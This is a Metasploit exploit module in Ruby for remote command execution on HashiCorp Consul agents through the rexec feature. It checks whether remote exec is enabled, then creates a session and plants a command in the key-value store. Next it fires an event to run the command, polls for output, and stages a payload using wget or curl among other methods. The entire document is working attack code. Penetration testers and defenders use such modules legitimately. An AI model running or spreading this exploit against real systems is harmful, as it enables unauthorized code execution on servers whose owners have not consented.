##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Hashicorp Consul Remote Command Execution via Rexec",
'Description' => %q{
This module exploits a feature of Hashicorp Consul named rexec.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
'Francis Alexander <helofrancis[at]gmail.com>', # Discovery and PoC
'Quentin Kaiser <kaiserquentin[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ],
[ 'URL', 'https://www.consul.io/docs/commands/exec.html'],
[ 'URL', 'https://github.com/torque59/Garfield' ]
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => {},
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 11 2018'))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500)
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "/v1/agent/self"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
begin
agent_info = JSON.parse(res.body)
if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end
end
def execute_command(cmd, opts = {})
uri = target_uri.path
print_status('Creating session.')
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/session/create'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json
})
if res and res.code == 200
begin
sess = JSON.parse(res.body)
print_status("Got rexec session ID #{sess['ID']}")
rescue JSON::ParseError
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
end
end
print_status("Setting command for rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
print_status("Triggering execution on rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/event/fire/_rexec"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json
})
if res and not res.code == 200
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
begin
Timeout.timeout(datastore['TIMEOUT']) do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
begin
data = JSON.parse(res.body)
break if data.include? 'out'
rescue JSON::ParseError
fail_with(Failure::Unknown, 'Failed to parse JSON output.')
end
sleep 2
end
rescue Timeout::Error
# we catch this error so cleanup still happen afterwards
print_status("Timeout hit, error with payload ?")
end
print_status("Cleaning up rexec session #{sess['ID']}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res and not res.code == 200 or res.body == 'false'
fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.')
end
end
def exploit
execute_cmdstager()
end
end
